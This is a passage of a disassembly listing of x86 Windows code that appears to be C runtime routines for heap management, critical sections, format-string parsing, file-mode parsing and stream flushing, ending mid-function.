; ---------------------------------------------------------------------------
loc_40844D: ; CODE XREF: sub_4083B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4084E0
add esp, 8
pop ebp
loc_40845D: ; CODE XREF: sub_4083B8+32j
mov eax, 1
loc_408462: ; CODE XREF: sub_4083B8+93j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4083B8 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4084E0
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408490 proc near ; CODE XREF: sub_4083B8+56p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_4084A8
push [ebp+arg_0]
call sub_40D420 ; RtlUnwind
loc_4084A8: ; DATA XREF: sub_408490+Bo
; sub_449411+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408490 endp
; =============== S U B R O U T I N E =======================================
sub_4084B0 proc near ; DATA XREF: sub_4084E0+Ao
; DMN0:00408559o ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4084D1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4084D1: ; CODE XREF: sub_4084B0+10j
retn
sub_4084B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4084E0 proc near ; CODE XREF: sub_4083B8+63p
; sub_4083B8+9Cp ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4084B0
push large dword ptr fs:0
mov large fs:0, esp
loc_4084FD: ; CODE XREF: sub_4084E0:loc_408538j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40853A
cmp esi, [esp+1Ch+arg_4]
jz short loc_40853A
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_408538
push 101h
mov eax, [ebx+esi*4+8]
call sub_408589
call dword ptr [ebx+esi*4+8]
loc_408538: ; CODE XREF: sub_4084E0+44j
jmp short loc_4084FD
; ---------------------------------------------------------------------------
loc_40853A: ; CODE XREF: sub_4084E0+2Aj
; sub_4084E0+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4084E0 endp
; ---------------------------------------------------------------------------
align 10h
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4084B0
jnz short locret_408572
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_408572
mov eax, 1
locret_408572: ; CODE XREF: DMN0:00408560j
; DMN0:0040856Bj
retn
; ---------------------------------------------------------------------------
align 10h
push ebx
push ecx
mov ebx, offset dword_411200
jmp short loc_408593
; =============== S U B R O U T I N E =======================================
sub_408589 proc near ; CODE XREF: sub_4083B8+74p
; sub_4084E0+4Fp
push ebx
push ecx
mov ebx, offset dword_411200
mov ecx, [ebp+8]
loc_408593: ; CODE XREF: DMN0:00408587j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_408589 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4085B0 proc near ; CODE XREF: sub_407AA0+36p
push 0
push 1000h
push 0
call dword_411DB0 ; HeapCreate
mov dword_4127F0, eax
test eax, eax
setnz al
and eax, 1
retn
sub_4085B0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, dword_4127F0
push eax
call dword_411DB4 ; HeapDestroy
mov dword_4127F0, 0
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4085F0 proc near ; CODE XREF: sub_4081A0+71p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DB8 ; RtlAllocateHeap
retn
sub_4085F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DBC ; RtlReAllocateHeap
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408630 proc near ; CODE XREF: sub_4070F0+41p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC0 ; RtlFreeHeap
retn
sub_408630 endp
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
mov eax, [esp+0Ch]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC4 ; RtlSizeHeap
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_408672
xor esi, esi
jmp short loc_408674
; ---------------------------------------------------------------------------
loc_408672: ; CODE XREF: DMN0:0040866Cj
mov esi, ebx
loc_408674: ; CODE XREF: DMN0:00408670j
mov eax, esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+4]
push eax
push 0
mov eax, dword_4127F0
push eax
call dword_411DC8 ; HeapValidate
test eax, eax
setnz al
and eax, 1
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4086A0 proc near ; CODE XREF: sub_408FD0+1p
mov eax, off_411210
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, off_411214
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, off_411218
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, off_41121C
push eax
call dword_411CC8 ; InitializeCriticalSection
retn
sub_4086A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4086E0 proc near ; CODE XREF: DMN0:00409030p
push ebx
mov ebx, 4
loc_4086E6: ; CODE XREF: sub_4086E0+2Aj
mov eax, off_411210[ebx*4]
test eax, eax
jz short loc_408706
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_411210[ebx*4]
push eax
call sub_4070F0
pop ecx
loc_408706: ; CODE XREF: sub_4086E0+Fj
inc ebx
cmp ebx, 9
jl short loc_4086E6
mov eax, off_411210
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_411214
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_411218
push eax
call dword_411DCC ; RtlDeleteCriticalSection
mov eax, off_41121C
push eax
call dword_411DCC ; RtlDeleteCriticalSection
pop ebx
retn
sub_4086E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408740 proc near ; CODE XREF: sub_4070F0+4Bp
; sub_407300+28p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
cmp off_411210[ebx*4], 0
jnz short loc_4087A5
push 18h
call sub_4081A0
pop ecx
mov [ebp+var_4], eax
test eax, eax
jnz short loc_40876B
push 1
call sub_409190
pop ecx
loc_40876B: ; CODE XREF: sub_408740+21j
push 3
call sub_408740
pop ecx
cmp off_411210[ebx*4], 0
jnz short loc_408793
mov eax, [ebp+var_4]
push eax
call dword_411CC8 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov off_411210[ebx*4], eax
jmp short loc_40879D
; ---------------------------------------------------------------------------
loc_408793: ; CODE XREF: sub_408740+3Bj
mov eax, [ebp+var_4]
push eax
call sub_4070F0
pop ecx
loc_40879D: ; CODE XREF: sub_408740+51j
push 3
call sub_4087C0
pop ecx
loc_4087A5: ; CODE XREF: sub_408740+12j
mov eax, off_411210[ebx*4]
push eax
call dword_411CCC ; RtlEnterCriticalSection
pop ebx
mov esp, ebp
pop ebp
retn
sub_408740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4087C0 proc near ; CODE XREF: sub_40715A+2p
; sub_40735B+2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, off_411210[eax*4]
push eax
call dword_411CD0 ; RtlLeaveCriticalSection
retn
sub_4087C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087E0 proc near ; CODE XREF: sub_4071C0+3Dp
; sub_407260+27p ...
var_84 = byte ptr -84h
var_50 = dword ptr -50h
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_6 = byte ptr -6
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov [ebp+var_48], 0
mov [ebp+var_44], 0
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
mov eax, [ebp+arg_4]
mov [ebp+var_34], eax
mov [ebp+var_10], 0
loc_408810: ; CODE XREF: sub_4087E0+A4j
; sub_4087E0+264j
mov [ebp+var_4A], 0
lea eax, [ebp+var_48]
push eax
push 7FFFFFFFh
push ebx
lea eax, [ebp+var_4A]
push eax
call sub_409950
add esp, 10h
mov esi, eax
test eax, eax
jg short loc_40883D
cmp byte ptr [ebx], 0
setnz al
and eax, 1
mov esi, eax
loc_40883D: ; CODE XREF: sub_4087E0+50j
cmp [ebp+var_4A], 25h
jnz short loc_40884C
lea eax, [esi-1]
mov [ebp+var_50], eax
jmp short loc_40884F
; ---------------------------------------------------------------------------
loc_40884C: ; CODE XREF: sub_4087E0+62j
mov [ebp+var_50], esi
loc_40884F: ; CODE XREF: sub_4087E0+6Aj
mov eax, [ebp+var_50]
mov edi, eax
test eax, eax
jle short loc_408876
push edi
push ebx
mov eax, [ebp+var_34]
push eax
call [ebp+var_38]
add esp, 0Ch
mov [ebp+var_34], eax
test eax, eax
jnz short loc_408873
or eax, 0FFFFFFFFh
jmp loc_408A4D
; ---------------------------------------------------------------------------
loc_408873: ; CODE XREF: sub_4087E0+89j
add [ebp+var_10], edi
loc_408876: ; CODE XREF: sub_4087E0+76j
add ebx, esi
cmp [ebp+var_4A], 25h
jz short loc_40888E
cmp [ebp+var_4A], 0
jnz short loc_408810
mov eax, [ebp+var_10]
jmp loc_408A4D
; ---------------------------------------------------------------------------
loc_40888E: ; CODE XREF: sub_4087E0+9Dj
mov [ebp+var_18], 0
mov [ebp+var_1C], 0
mov [ebp+var_20], 0
mov [ebp+var_24], 0
mov [ebp+var_28], 0
mov [ebp+var_2C], 0
mov [ebp+var_8], 0
jmp short loc_4088D9
; ---------------------------------------------------------------------------
loc_4088C0: ; CODE XREF: sub_4087E0+10Ej
movzx eax, [ebp+var_8]
mov edx, offset dword_40FAB0
mov ecx, esi
sub ecx, edx
or eax, dword_40FAB8[ecx*4]
mov [ebp+var_8], ax
inc ebx
loc_4088D9: ; CODE XREF: sub_4087E0+DEj
movzx eax, byte ptr [ebx]
push eax
push offset dword_40FAB0
call sub_408E80
add esp, 8
mov esi, eax
test eax, eax
jnz short loc_4088C0
cmp byte ptr [ebx], 2Ah
jnz short loc_408918
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_C], eax
test eax, eax
jge short loc_408915
mov eax, [ebp+var_C]
neg eax
mov [ebp+var_C], eax
or [ebp+var_8], 4
loc_408915: ; CODE XREF: sub_4087E0+126j
inc ebx
jmp short loc_40894E
; ---------------------------------------------------------------------------
loc_408918: ; CODE XREF: sub_4087E0+113j
mov [ebp+var_C], 0
jmp short loc_40893D
; ---------------------------------------------------------------------------
loc_408921: ; CODE XREF: sub_4087E0+16Cj
cmp [ebp+var_C], 7FFFFFFFh
jge short loc_40893C
mov eax, [ebp+var_C]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_C], eax
loc_40893C: ; CODE XREF: sub_4087E0+148j
inc ebx
loc_40893D: ; CODE XREF: sub_4087E0+13Fj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_408921
loc_40894E: ; CODE XREF: sub_4087E0+136j
cmp byte ptr [ebx], 2Eh
jz short loc_408959
or [ebp+var_14], 0FFFFFFFFh
jmp short loc_4089A9
; ---------------------------------------------------------------------------
loc_408959: ; CODE XREF: sub_4087E0+171j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 2Ah
jnz short loc_408973
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_14], eax
inc ebx
jmp short loc_4089A9
; ---------------------------------------------------------------------------
loc_408973: ; CODE XREF: sub_4087E0+17Fj
mov [ebp+var_14], 0
jmp short loc_408998
; ---------------------------------------------------------------------------
loc_40897C: ; CODE XREF: sub_4087E0+1C7j
cmp [ebp+var_14], 7FFFFFFFh
jge short loc_408997
mov eax, [ebp+var_14]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_14], eax
loc_408997: ; CODE XREF: sub_4087E0+1A3j
inc ebx
loc_408998: ; CODE XREF: sub_4087E0+19Aj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_40897C
loc_4089A9: ; CODE XREF: sub_4087E0+177j
; sub_4087E0+191j
movzx eax, byte ptr [ebx]
push eax
push offset aHjltzl ; "hjltzL"
call sub_408E80
add esp, 8
test eax, eax
jz short loc_4089C6
mov eax, ebx
inc ebx
movzx edi, byte ptr [eax]
jmp short loc_4089C8
; ---------------------------------------------------------------------------
loc_4089C6: ; CODE XREF: sub_4087E0+1DCj
xor edi, edi
loc_4089C8: ; CODE XREF: sub_4087E0+1E4j
mov eax, edi
mov [ebp+var_6], al
cmp al, 68h
jnz short loc_4089DD
cmp byte ptr [ebx], 68h
jnz short loc_4089DD
mov [ebp+var_6], 62h
inc ebx
jmp short loc_408A0D
; ---------------------------------------------------------------------------
loc_4089DD: ; CODE XREF: sub_4087E0+1EFj
; sub_4087E0+1F4j
cmp [ebp+var_6], 6Ch
jnz short loc_4089EF
cmp byte ptr [ebx], 6Ch
jnz short loc_4089EF
mov [ebp+var_6], 71h
inc ebx
jmp short loc_408A0D
; ---------------------------------------------------------------------------
loc_4089EF: ; CODE XREF: sub_4087E0+201j
; sub_4087E0+206j
cmp [ebp+var_6], 0
jnz short loc_408A0D
cmp byte ptr [ebx], 49h
jnz short loc_408A0D
cmp byte ptr [ebx+1], 36h
jnz short loc_408A0D
cmp byte ptr [ebx+2], 34h
jnz short loc_408A0D
mov [ebp+var_6], 71h
add ebx, 3
loc_408A0D: ; CODE XREF: sub_4087E0+1FBj
; sub_4087E0+20Dj ...
lea eax, [ebp+var_84]
push eax
mov eax, ebx
inc ebx
movzx eax, byte ptr [eax]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_409C30
add esp, 10h
test eax, eax
jnz short loc_408A4A
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_40]
push eax
call sub_40A370
add esp, 8
test eax, eax
jge loc_408810
loc_408A4A: ; CODE XREF: sub_4087E0+24Dj
or eax, 0FFFFFFFFh
loc_408A4D: ; CODE XREF: sub_4087E0+8Ej
; sub_4087E0+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4087E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408A60 proc near ; CODE XREF: sub_407260+6p
cmp dword_411234, 0
jz short loc_408A6F
mov eax, dword_411234
retn
; ---------------------------------------------------------------------------
loc_408A6F: ; CODE XREF: sub_408A60+7j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConout ; "CONOUT$"
call dword_411DD0 ; CreateFileA
retn
sub_408A60 endp
; ---------------------------------------------------------------------------
align 10h
cmp dword_411238, 0
jz short loc_408A9F
mov eax, dword_411238
retn
; ---------------------------------------------------------------------------
loc_408A9F: ; CODE XREF: DMN0:00408A97j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConin ; "CONIN$"
call dword_411DD0 ; CreateFileA
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408AC0 proc near ; CODE XREF: sub_407300+35p
push ebx
push esi
xor esi, esi
xor ebx, ebx
loc_408AC6: ; CODE XREF: sub_408AC0+4Ej
cmp off_411370[ebx*4], 0
jnz short loc_408AEC
push 4Ch
call sub_4081A0
pop ecx
mov esi, eax
test esi, esi
jz short loc_408B10
mov off_411370[ebx*4], esi
mov word ptr [esi], 80h
jmp short loc_408B10
; ---------------------------------------------------------------------------
loc_408AEC: ; CODE XREF: sub_408AC0+Ej
mov eax, off_411370[ebx*4]
cmp word ptr [eax], 0
jnz short loc_408B07
mov esi, off_411370[ebx*4]
mov word ptr [esi], 0FF7Fh
jmp short loc_408B10
; ---------------------------------------------------------------------------
loc_408B07: ; CODE XREF: sub_408AC0+37j
inc ebx
cmp ebx, 100h
jb short loc_408AC6
loc_408B10: ; CODE XREF: sub_408AC0+1Cj
; sub_408AC0+2Aj ...
mov eax, esi
pop esi
pop ebx
retn
sub_408AC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408B20 proc near ; CODE XREF: sub_407300+45p
var_8 = dword ptr -8
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
test ebx, ebx
jnz short loc_408B37
xor eax, eax
jmp loc_408C5B
; ---------------------------------------------------------------------------
loc_408B37: ; CODE XREF: sub_408B20+Ej
mov ax, [ebx]
and ax, 80h
mov [ebp+var_2], ax
mov edi, ebx
mov esi, offset dword_40FAE8
mov ecx, 13h
rep movsd
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 72h
jnz short loc_408B91
mov [ebp+var_8], 1
jmp short loc_408BB8
; ---------------------------------------------------------------------------
loc_408B91: ; CODE XREF: sub_408B20+66j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 77h
jnz short loc_408BA2
mov [ebp+var_8], 1Ah
jmp short loc_408BB5
; ---------------------------------------------------------------------------
loc_408BA2: ; CODE XREF: sub_408B20+77j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 61h
setnz al
and eax, 1
dec eax
and eax, 16h
mov [ebp+var_8], eax
loc_408BB5: ; CODE XREF: sub_408B20+80j
mov eax, [ebp+var_8]
loc_408BB8: ; CODE XREF: sub_408B20+6Fj
movzx eax, [ebp+var_2]
or eax, [ebp+var_8]
mov [ebx], ax
test word ptr [ebx], 3
jnz short loc_408BFB
push ebx
call sub_407560
pop ecx
xor eax, eax
jmp loc_408C5B
; ---------------------------------------------------------------------------
loc_408BD7: ; CODE XREF: sub_408B20+E5j
; sub_408B20+EDj
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 62h
jnz short loc_408BEC
test word ptr [ebx], 20h
jnz short loc_408C0F
or word ptr [ebx], 20h
jmp short loc_408BFB
; ---------------------------------------------------------------------------
loc_408BEC: ; CODE XREF: sub_408B20+BDj
movzx eax, word ptr [ebx]
and eax, 3
cmp eax, 3
jz short loc_408C0F
or word ptr [ebx], 3
loc_408BFB: ; CODE XREF: sub_408B20+A7j
; sub_408B20+CAj
mov eax, [ebp+arg_4]
inc eax
mov [ebp+arg_4], eax
cmp byte ptr [eax], 62h
jz short loc_408BD7
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 2Bh
jz short loc_408BD7
loc_408C0F: ; CODE XREF: sub_408B20+C4j
; sub_408B20+D5j
cmp [ebp+arg_0], 0
jz short loc_408C3D
mov eax, [ebp+arg_4]
push eax
movzx eax, word ptr [ebx]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40A5E0
add esp, 0Ch
mov [ebx+4], eax
cmp dword ptr [ebx+4], 0
jge short loc_408C54
push ebx
call sub_407560
pop ecx
xor eax, eax
jmp short loc_408C5B
; ---------------------------------------------------------------------------
loc_408C3D: ; CODE XREF: sub_408B20+F3j
cmp [ebp+arg_C], 0
jge short loc_408C4E
push ebx
call sub_407560
pop ecx
xor eax, eax
jmp short loc_408C5B
; ---------------------------------------------------------------------------
loc_408C4E: ; CODE XREF: sub_408B20+121j
mov eax, [ebp+arg_C]
mov [ebx+4], eax
loc_408C54: ; CODE XREF: sub_408B20+110j
call sub_407400
mov eax, ebx
loc_408C5B: ; CODE XREF: sub_408B20+12j
; sub_408B20+B2j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408B20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408C70 proc near ; CODE XREF: sub_407400+4Dp
arg_0 = dword ptr 4
mov eax, dword_4111A4
cmp dword_4111A0, eax
ja short loc_408C84
call sub_40A650
jmp short locret_408C9D
; ---------------------------------------------------------------------------
loc_408C84: ; CODE XREF: sub_408C70+Bj
mov eax, dword_4111A4
lea edx, [eax+1]
mov dword_4111A4, edx
mov edx, [esp+arg_0]
mov dword_411060[eax*4], edx
locret_408C9D: ; CODE XREF: sub_408C70+12j
retn
sub_408C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408CA0 proc near ; CODE XREF: sub_407480+8p
; sub_407760+D0p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jnz short loc_408CFE
push 6
call sub_408740
pop ecx
mov [ebp+var_8], 0
mov [ebp+var_4], 0
jmp short loc_408CE8
; ---------------------------------------------------------------------------
loc_408CC8: ; CODE XREF: sub_408CA0+4Fj
mov eax, [ebp+var_4]
mov eax, off_411370[eax*4]
test eax, eax
jz short loc_408CE5
push eax
call sub_408CA0
pop ecx
test eax, eax
jge short loc_408CE5
or [ebp+var_8], 0FFFFFFFFh
loc_408CE5: ; CODE XREF: sub_408CA0+34j
; sub_408CA0+3Fj
inc [ebp+var_4]
loc_408CE8: ; CODE XREF: sub_408CA0+26j
cmp [ebp+var_4], 100h
jl short loc_408CC8
push 6
call sub_4087C0
pop ecx
mov eax, [ebp+var_8]
jmp short loc_408D70
; ---------------------------------------------------------------------------
loc_408CFE: ; CODE XREF: sub_408CA0+Ej
test word ptr [ebx], 2000h
jnz short loc_408D09
xor eax, eax
jmp short loc_408D70
; ---------------------------------------------------------------------------
loc_408D09: ; CODE XREF: sub_408CA0+63j
mov esi, [ebx+8]
jmp short loc_408D45
; ---------------------------------------------------------------------------
loc_408D0E: ; CODE XREF: sub_408CA0+A8j
mov eax, [ebx+10h]
sub eax, esi
push eax
push esi
mov eax, [ebx+4]
push eax
call sub_40A860
add esp, 0Ch
mov edi, eax
test edi, edi
jg short loc_408D43
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
mov [ebx+18h], eax
mov eax, [ebx+8]
mov [ebx+30h], eax
or word ptr [ebx], 200h
or eax, 0FFFFFFFFh
jmp short loc_408D70
; ---------------------------------------------------------------------------
loc_408D43: ; CODE XREF: sub_408CA0+85j
add esi, edi
loc_408D45: ; CODE XREF: sub_408CA0+6Cj
cmp esi, [ebx+10h]
jb short loc_408D0E
mov eax, [ebx+8]
mov [ebx+10h], eax
test word ptr [ebx], 0C00h
jz short loc_408D5C
mov esi, [ebx+8]
jmp short loc_408D5F
; ---------------------------------------------------------------------------
loc_408D5C: ; CODE XREF: sub_408CA0+B5j
mov esi, [ebx+0Ch]
loc_408D5F: ; CODE XREF: sub_408CA0+BAj
test word ptr [ebx], 4000h
jz short loc_408D6B
mov [ebx+18h], esi
jmp short loc_408D6E
; ---------------------------------------------------------------------------
loc_408D6B: ; CODE XREF: sub_408CA0+C4j
mov [ebx+30h], esi
loc_408D6E: ; CODE XREF: sub_408CA0+C9j
xor eax, eax
loc_408D70: ; CODE XREF: sub_408CA0+5Cj
; sub_408CA0+67j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408CA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D80 proc near ; CODE XREF: sub_408E20+41p
; sub_40B8E0+328p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
mov ebx, [ebp+arg_0]
push ebx
call sub_40AB60
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_408DCF
cmp ebx, 1
jz short loc_408DA3
cmp ebx, 2
jnz short loc_408DBD
loc_408DA3: ; CODE XREF: sub_408D80+1Cj
push 1
call sub_40AB60
pop ecx
mov [ebp+var_4], eax
push 2
call sub_40AB60
pop ecx
mov edx, [ebp+var_4]
cmp edx, eax
jz short loc_408DCF
loc_408DBD: ; CODE XREF: sub_408D80+21j
push ebx
call sub_40AB60
pop ecx
push eax
call dword_411CF8 ; CloseHandle
test eax, eax
jz short loc_408DD3
loc_408DCF: ; CODE XREF: sub_408D80+17j
; sub_408D80+3Bj
xor esi, esi
jmp short loc_408DDB
; ---------------------------------------------------------------------------
loc_408DD3: ; CODE XREF: sub_408D80+4Dj
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
loc_408DDB: ; CODE XREF: sub_408D80+51j
push ebx
call sub_40AA10
pop ecx
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+4], 0
test esi, esi
jz short loc_408E0B
push esi
call sub_408240
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_408E0D
; ---------------------------------------------------------------------------
loc_408E0B: ; CODE XREF: sub_408D80+7Dj
xor eax, eax
loc_408E0D: ; CODE XREF: sub_408D80+89j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408E20 proc near ; CODE XREF: sub_407480+30p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_408E49
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_408E59
loc_408E49: ; CODE XREF: sub_408E20+Cj
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_408E72
; ---------------------------------------------------------------------------
loc_408E59: ; CODE XREF: sub_408E20+27j
push ebx
call sub_40AC80
pop ecx
push ebx
call sub_408D80
pop ecx
mov esi, eax
push ebx
call sub_40ACE0
pop ecx
mov eax, esi
loc_408E72: ; CODE XREF: sub_408E20+37j
pop esi
pop ebx
retn
sub_408E20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408E80 proc near ; CODE XREF: sub_4076C0+39p
; sub_4087E0+102p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
mov dl, al
jmp short loc_408E95
; ---------------------------------------------------------------------------
loc_408E8C: ; CODE XREF: sub_408E80+17j
cmp byte ptr [ecx], 0
jnz short loc_408E94
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_408E94: ; CODE XREF: sub_408E80+Fj
inc ecx
loc_408E95: ; CODE XREF: sub_408E80+Aj
cmp [ecx], dl
jnz short loc_408E8C
mov eax, ecx
retn
sub_408E80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408EA0 proc near ; CODE XREF: sub_407760+3Dp
; sub_40CE00+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
jbe short loc_408EB9
xor eax, eax
jmp loc_408F92
; ---------------------------------------------------------------------------
loc_408EB9: ; CODE XREF: sub_408EA0+10j
